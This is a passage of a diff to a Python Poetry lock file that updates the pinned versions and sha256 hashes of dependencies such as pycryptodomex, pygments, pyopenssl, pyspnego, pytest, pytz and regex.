"pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"}, + {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"}, ] [[package]] @@ -1759,14 +1739,14 @@ files = [ [[package]] name = "pygments" -version = "2.14.0" +version = "2.15.1" description = "Pygments is a syntax highlighting package written in Python." category = "main" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "Pygments-2.14.0-py3-none-any.whl", hash = "sha256:fa7bd7bd2771287c0de303af8bfdfc731f51bd2c6a47ab69d117138893b82717"}, - {file = "Pygments-2.14.0.tar.gz", hash = "sha256:b3ed06a9e8ac9a9aae5a6f5dbe78a8a58655d17b43b93c078f094ddc476ae297"}, + {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"}, + {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"}, ] [package.extras] @@ -1838,14 +1818,14 @@ tests = ["hypothesis (>=3.27.0)", "pytest (>=3.2.1,!=3.3.0)"] [[package]] name = "pyopenssl" -version = "23.1.0" +version = "23.1.1" description = "Python wrapper module around the OpenSSL library" category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "pyOpenSSL-23.1.0-py3-none-any.whl", hash = "sha256:fb96e936866ad65662c22d0de84ca0fba58397893cdfe0f01334fa93382af23c"}, - {file = "pyOpenSSL-23.1.0.tar.gz", hash = "sha256:8cb78010a1eb2c8e24b851693b7b04dfe9b1dc0a5ab3843927b10a85b1dfbb2e"}, + {file = "pyOpenSSL-23.1.1-py3-none-any.whl", hash = "sha256:9e0c526404a210df9d2b18cd33364beadb0dc858a739b885677bc65e105d4a4c"}, + {file = "pyOpenSSL-23.1.1.tar.gz", hash = "sha256:841498b9bec61623b1b6c47ebbc02367c07d60e0e195f19790817f10cc8db0b7"}, ] [package.dependencies] @@ -1927,24 +1907,24 @@ winacl = ">=0.1.6" [[package]] name = "pyspnego" -version = "0.8.0" +version = "0.9.0" description = "Windows Negotiate Authentication Client and Server" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "pyspnego-0.8.0-cp310-cp310-win32.whl", hash = "sha256:9dbbd3aec5240aa8b75a5baa0b8a78d3b4ec16638c5fe299cd849b2390cfd2ec"}, - {file = "pyspnego-0.8.0-cp310-cp310-win_amd64.whl", hash = "sha256:2df21796b15e73b99a4b4bbe91e4ecd3fdaa888b7255c4ab697ccb6615dbd6e3"}, - {file = "pyspnego-0.8.0-cp311-cp311-win32.whl", hash = "sha256:e15d7ecf70cb70f09ec80a7efd57086886380dcfbe0c31b1808f3349484f0b96"}, - {file = "pyspnego-0.8.0-cp311-cp311-win_amd64.whl", hash = "sha256:ff546dc4a56c92aae253c04c8999baf4357919a523665c8daa65788567a52fe3"}, - {file = "pyspnego-0.8.0-cp37-cp37m-win32.whl", hash = "sha256:c3cb9d9da79f1d38e8a268988c5af7520f25dc8f6c7bc97444260f8ce3d1efe9"}, - {file = "pyspnego-0.8.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f76a924866040cece4600e1973bfdb20656f9a3ceb2935ed6be1f932c990b19"}, - {file = "pyspnego-0.8.0-cp38-cp38-win32.whl", hash = "sha256:cf8bd2bd2cadc825e7fc7ff86a57eb158d898d30c0f7670940178c48ebe78e31"}, - {file = "pyspnego-0.8.0-cp38-cp38-win_amd64.whl", hash = "sha256:92501106898b4fa60f454dc9445b8006c133e177c859d49b3c7f260985449cad"}, - {file = "pyspnego-0.8.0-cp39-cp39-win32.whl", hash = "sha256:3e49fddd34c19d6bd1d534501769de5e2b0716ce9b6f26d50f2f0600158780c9"}, - {file = "pyspnego-0.8.0-cp39-cp39-win_amd64.whl", hash = "sha256:e2faff077fe942ed7169bd6c84c9396f259f50069237d93de12a5bd5e11bb445"}, - {file = "pyspnego-0.8.0-py3-none-any.whl", hash = "sha256:55b9bc76efb2ef335640f1bfe6922651c31d21a4c989b0def889eaa2f4865711"}, - {file = "pyspnego-0.8.0.tar.gz", hash = "sha256:e0499cc066c56762f8a315bb053243d34240cb85e384afc6b87b4fa0142543df"}, + {file = "pyspnego-0.9.0-cp310-cp310-win32.whl", hash = "sha256:f529b30a0ccfb0219b5b5b996c8a90cf5df0da6bcf19da33262573f9cca4d487"}, + {file = "pyspnego-0.9.0-cp310-cp310-win_amd64.whl", hash = "sha256:f656b22298a3582d210f8dfdd6541b0fb277b0020f9b649b329dea3688ff60da"}, + {file = "pyspnego-0.9.0-cp311-cp311-win32.whl", hash = "sha256:2f2e51c7230f95febe9ff4e00eaa7c24ce64b197ae6c53dc85c7df88aa416d93"}, + {file = "pyspnego-0.9.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d17f5157c572aa0fc5899211f8092917d1bee2ef84046684d939aa481a958f0"}, + {file = "pyspnego-0.9.0-cp37-cp37m-win32.whl", hash = "sha256:c4111a7584aea4e30b1cd2e0c0b1f8355ed4fb413cce21e2cecef8bfdf0eabcf"}, + {file = "pyspnego-0.9.0-cp37-cp37m-win_amd64.whl", hash = "sha256:44f39ec4c93c8cc51516a6b16365160e9dff622310afef9ee8456626bafda26b"}, + {file = "pyspnego-0.9.0-cp38-cp38-win32.whl", hash = "sha256:9b9e5a645dcd4645537c7dd38e69124fa524eba501b65fb1ab2825e80038a5dc"}, + {file = "pyspnego-0.9.0-cp38-cp38-win_amd64.whl", hash = "sha256:d498ff81da792ace2eea7f55a103a49a363882b820723f99dc5ccf03ea7f3b3e"}, + {file = "pyspnego-0.9.0-cp39-cp39-win32.whl", hash = "sha256:187aa308fb40be4292753e86f9ee3df1c48500accdb50bcfecb7246b618cd7d8"}, + {file = "pyspnego-0.9.0-cp39-cp39-win_amd64.whl", hash = "sha256:77b965afaed4214b63dddabefdef762f3f9c9796349408d200c64a5921de809b"}, + {file = "pyspnego-0.9.0-py3-none-any.whl", hash = "sha256:18da3710c383167e54ae2b01f640f269de2cdc0992a8f72928e349441361c21d"}, + {file = "pyspnego-0.9.0.tar.gz", hash = "sha256:3f10ca7a2f0d5170c2032bb5d55183384208314032aa44c1684d6920d50e97de"}, ] [package.dependencies] @@ -1956,18 +1936,17 @@ yaml = ["ruamel.yaml"] [[package]] name = "pytest" -version = "7.2.2" +version = "7.3.1" description = "pytest: simple powerful testing with Python" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "pytest-7.2.2-py3-none-any.whl", hash = "sha256:130328f552dcfac0b1cec75c12e3f005619dc5f874f0a06e8ff7263f0ee6225e"}, - {file = "pytest-7.2.2.tar.gz", hash = "sha256:c99ab0c73aceb050f68929bc93af19ab6db0558791c6a0715723abe9d0ade9d4"}, + {file = "pytest-7.3.1-py3-none-any.whl", hash = "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362"}, + {file = "pytest-7.3.1.tar.gz", hash = "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3"}, ] [package.dependencies] -attrs = ">=19.2.0" colorama = {version = "*", markers = "sys_platform == \"win32\""} exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} importlib-metadata = {version = ">=0.12", markers = "python_version < \"3.8\""} @@ -1977,18 +1956,18 @@ pluggy = ">=0.12,<2.0" tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} [package.extras] -testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] [[package]] name = "pytz" -version = "2023.2" +version = "2023.3" description = "World timezone definitions, modern and historical" category = "main" optional = false python-versions = "*" files = [ - {file = "pytz-2023.2-py2.py3-none-any.whl", hash = "sha256:8a8baaf1e237175b02f5c751eea67168043a749c843989e2b3015aa1ad9db68b"}, - {file = "pytz-2023.2.tar.gz", hash = "sha256:a27dcf612c05d2ebde626f7d506555f10dfc815b3eddccfaadfc7d99b11c9a07"}, + {file = "pytz-2023.3-py2.py3-none-any.whl", hash = "sha256:a151b3abb88eda1d4e34a9814df37de2a80e301e68ba0fd856fb9b46bfbbbffb"}, + {file = "pytz-2023.3.tar.gz", hash = "sha256:1d8ce29db189191fb55338ee6d0387d82ab59f3d00eac103412d64e0ebd0c588"}, ] [[package]] @@ -2010,119 +1989,119 @@ lxml = "*" [[package]] name = "regex" -version = "2022.10.31" +version = "2023.5.5" description = "Alternative regular expression module, to replace re." category = "dev" optional = false python-versions = ">=3.6" files = [ - {file = "regex-2022.10.31-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a8ff454ef0bb061e37df03557afda9d785c905dab15584860f982e88be73015f"}, - {file = "regex-2022.10.31-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1eba476b1b242620c266edf6325b443a2e22b633217a9835a52d8da2b5c051f9"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d0e5af9a9effb88535a472e19169e09ce750c3d442fb222254a276d77808620b"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d03fe67b2325cb3f09be029fd5da8df9e6974f0cde2c2ac6a79d2634e791dd57"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a9d0b68ac1743964755ae2d89772c7e6fb0118acd4d0b7464eaf3921c6b49dd4"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a45b6514861916c429e6059a55cf7db74670eaed2052a648e3e4d04f070e001"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8b0886885f7323beea6f552c28bff62cbe0983b9fbb94126531693ea6c5ebb90"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:5aefb84a301327ad115e9d346c8e2760009131d9d4b4c6b213648d02e2abe144"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:702d8fc6f25bbf412ee706bd73019da5e44a8400861dfff7ff31eb5b4a1276dc"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a3c1ebd4ed8e76e886507c9eddb1a891673686c813adf889b864a17fafcf6d66"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:50921c140561d3db2ab9f5b11c5184846cde686bb5a9dc64cae442926e86f3af"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:7db345956ecce0c99b97b042b4ca7326feeec6b75facd8390af73b18e2650ffc"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:763b64853b0a8f4f9cfb41a76a4a85a9bcda7fdda5cb057016e7706fde928e66"}, - {file = "regex-2022.10.31-cp310-cp310-win32.whl", hash = "sha256:44136355e2f5e06bf6b23d337a75386371ba742ffa771440b85bed367c1318d1"}, - {file = "regex-2022.10.31-cp310-cp310-win_amd64.whl", hash = "sha256:bfff48c7bd23c6e2aec6454aaf6edc44444b229e94743b34bdcdda2e35126cf5"}, - {file = "regex-2022.10.31-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4b4b1fe58cd102d75ef0552cf17242705ce0759f9695334a56644ad2d83903fe"}, - {file = "regex-2022.10.31-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:542e3e306d1669b25936b64917285cdffcd4f5c6f0247636fec037187bd93542"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c27cc1e4b197092e50ddbf0118c788d9977f3f8f35bfbbd3e76c1846a3443df7"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8e38472739028e5f2c3a4aded0ab7eadc447f0d84f310c7a8bb697ec417229e"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:76c598ca73ec73a2f568e2a72ba46c3b6c8690ad9a07092b18e48ceb936e9f0c"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c28d3309ebd6d6b2cf82969b5179bed5fefe6142c70f354ece94324fa11bf6a1"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9af69f6746120998cd9c355e9c3c6aec7dff70d47247188feb4f829502be8ab4"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a5f9505efd574d1e5b4a76ac9dd92a12acb2b309551e9aa874c13c11caefbe4f"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:5ff525698de226c0ca743bfa71fc6b378cda2ddcf0d22d7c37b1cc925c9650a5"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:4fe7fda2fe7c8890d454f2cbc91d6c01baf206fbc96d89a80241a02985118c0c"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:2cdc55ca07b4e70dda898d2ab7150ecf17c990076d3acd7a5f3b25cb23a69f1c"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:44a6c2f6374e0033873e9ed577a54a3602b4f609867794c1a3ebba65e4c93ee7"}, - {file = "regex-2022.10.31-cp311-cp311-win32.whl", hash = "sha256:d8716f82502997b3d0895d1c64c3b834181b1eaca28f3f6336a71777e437c2af"}, - {file = "regex-2022.10.31-cp311-cp311-win_amd64.whl", hash = "sha256:61edbca89aa3f5ef7ecac8c23d975fe7261c12665f1d90a6b1af527bba86ce61"}, - {file = "regex-2022.10.31-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0a069c8483466806ab94ea9068c34b200b8bfc66b6762f45a831c4baaa9e8cdd"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d26166acf62f731f50bdd885b04b38828436d74e8e362bfcb8df221d868b5d9b"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac741bf78b9bb432e2d314439275235f41656e189856b11fb4e774d9f7246d81"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75f591b2055523fc02a4bbe598aa867df9e953255f0b7f7715d2a36a9c30065c"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6b30bddd61d2a3261f025ad0f9ee2586988c6a00c780a2fb0a92cea2aa702c54"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef4163770525257876f10e8ece1cf25b71468316f61451ded1a6f44273eedeb5"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:7b280948d00bd3973c1998f92e22aa3ecb76682e3a4255f33e1020bd32adf443"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:d0213671691e341f6849bf33cd9fad21f7b1cb88b89e024f33370733fec58742"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:22e7ebc231d28393dfdc19b185d97e14a0f178bedd78e85aad660e93b646604e"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:8ad241da7fac963d7573cc67a064c57c58766b62a9a20c452ca1f21050868dfa"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:586b36ebda81e6c1a9c5a5d0bfdc236399ba6595e1397842fd4a45648c30f35e"}, - {file = "regex-2022.10.31-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:0653d012b3bf45f194e5e6a41df9258811ac8fc395579fa82958a8b76286bea4"}, - {file = "regex-2022.10.31-cp36-cp36m-win32.whl", hash = "sha256:144486e029793a733e43b2e37df16a16df4ceb62102636ff3db6033994711066"}, - {file = "regex-2022.10.31-cp36-cp36m-win_amd64.whl", hash = "sha256:c14b63c9d7bab795d17392c7c1f9aaabbffd4cf4387725a0ac69109fb3b550c6"}, - {file = "regex-2022.10.31-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4cac3405d8dda8bc6ed499557625585544dd5cbf32072dcc72b5a176cb1271c8"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23cbb932cc53a86ebde0fb72e7e645f9a5eec1a5af7aa9ce333e46286caef783"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:74bcab50a13960f2a610cdcd066e25f1fd59e23b69637c92ad470784a51b1347"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78d680ef3e4d405f36f0d6d1ea54e740366f061645930072d39bca16a10d8c93"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce6910b56b700bea7be82c54ddf2e0ed792a577dfaa4a76b9af07d550af435c6"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:659175b2144d199560d99a8d13b2228b85e6019b6e09e556209dfb8c37b78a11"}, - {file = "regex-2022.10.31-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:1ddf14031a3882f684b8642cb74eea3af93a2be68893901b2b387c5fd92a03ec"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b683e5fd7f74fb66e89a1ed16076dbab3f8e9f34c18b1979ded614fe10cdc4d9"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2bde29cc44fa81c0a0c8686992c3080b37c488df167a371500b2a43ce9f026d1"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:4919899577ba37f505aaebdf6e7dc812d55e8f097331312db7f1aab18767cce8"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:9c94f7cc91ab16b36ba5ce476f1904c91d6c92441f01cd61a8e2729442d6fcf5"}, - {file = "regex-2022.10.31-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ae1e96785696b543394a4e3f15f3f225d44f3c55dafe3f206493031419fedf95"}, - {file = "regex-2022.10.31-cp37-cp37m-win32.whl", hash = "sha256:c670f4773f2f6f1957ff8a3962c7dd12e4be54d05839b216cb7fd70b5a1df394"}, - {file = "regex-2022.10.31-cp37-cp37m-win_amd64.whl", hash = "sha256:8e0caeff18b96ea90fc0eb6e3bdb2b10ab5b01a95128dfeccb64a7238decf5f0"}, - {file = "regex-2022.10.31-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:131d4be09bea7ce2577f9623e415cab287a3c8e0624f778c1d955ec7c281bd4d"}, - {file = "regex-2022.10.31-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:e613a98ead2005c4ce037c7b061f2409a1a4e45099edb0ef3200ee26ed2a69a8"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:052b670fafbe30966bbe5d025e90b2a491f85dfe5b2583a163b5e60a85a321ad"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aa62a07ac93b7cb6b7d0389d8ef57ffc321d78f60c037b19dfa78d6b17c928ee"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5352bea8a8f84b89d45ccc503f390a6be77917932b1c98c4cdc3565137acc714"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20f61c9944f0be2dc2b75689ba409938c14876c19d02f7585af4460b6a21403e"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:29c04741b9ae13d1e94cf93fca257730b97ce6ea64cfe1eba11cf9ac4e85afb6"}, - {file = "regex-2022.10.31-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:543883e3496c8b6d58bd036c99486c3c8387c2fc01f7a342b760c1ea3158a318"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b7a8b43ee64ca8f4befa2bea4083f7c52c92864d8518244bfa6e88c751fa8fff"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:6a9a19bea8495bb419dc5d38c4519567781cd8d571c72efc6aa959473d10221a"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:6ffd55b5aedc6f25fd8d9f905c9376ca44fcf768673ffb9d160dd6f409bfda73"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:4bdd56ee719a8f751cf5a593476a441c4e56c9b64dc1f0f30902858c4ef8771d"}, - {file = "regex-2022.10.31-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8ca88da1bd78990b536c4a7765f719803eb4f8f9971cc22d6ca965c10a7f2c4c"}, - {file = "regex-2022.10.31-cp38-cp38-win32.whl", hash = "sha256:5a260758454580f11dd8743fa98319bb046037dfab4f7828008909d0aa5292bc"}, - {file = "regex-2022.10.31-cp38-cp38-win_amd64.whl", hash = "sha256:5e6a5567078b3eaed93558842346c9d678e116ab0135e22eb72db8325e90b453"}, - {file = "regex-2022.10.31-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5217c25229b6a85049416a5c1e6451e9060a1edcf988641e309dbe3ab26d3e49"}, - {file = "regex-2022.10.31-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4bf41b8b0a80708f7e0384519795e80dcb44d7199a35d52c15cc674d10b3081b"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cf0da36a212978be2c2e2e2d04bdff46f850108fccc1851332bcae51c8907cc"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d403d781b0e06d2922435ce3b8d2376579f0c217ae491e273bab8d092727d244"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a37d51fa9a00d265cf73f3de3930fa9c41548177ba4f0faf76e61d512c774690"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4f781ffedd17b0b834c8731b75cce2639d5a8afe961c1e58ee7f1f20b3af185"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d243b36fbf3d73c25e48014961e83c19c9cc92530516ce3c43050ea6276a2ab7"}, - {file = "regex-2022.10.31-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:370f6e97d02bf2dd20d7468ce4f38e173a124e769762d00beadec3bc2f4b3bc4"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:597f899f4ed42a38df7b0e46714880fb4e19a25c2f66e5c908805466721760f5"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7dbdce0c534bbf52274b94768b3498abdf675a691fec5f751b6057b3030f34c1"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:22960019a842777a9fa5134c2364efaed5fbf9610ddc5c904bd3a400973b0eb8"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:7f5a3ffc731494f1a57bd91c47dc483a1e10048131ffb52d901bfe2beb6102e8"}, - {file = "regex-2022.10.31-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7ef6b5942e6bfc5706301a18a62300c60db9af7f6368042227ccb7eeb22d0892"}, - {file = "regex-2022.10.31-cp39-cp39-win32.whl", hash = 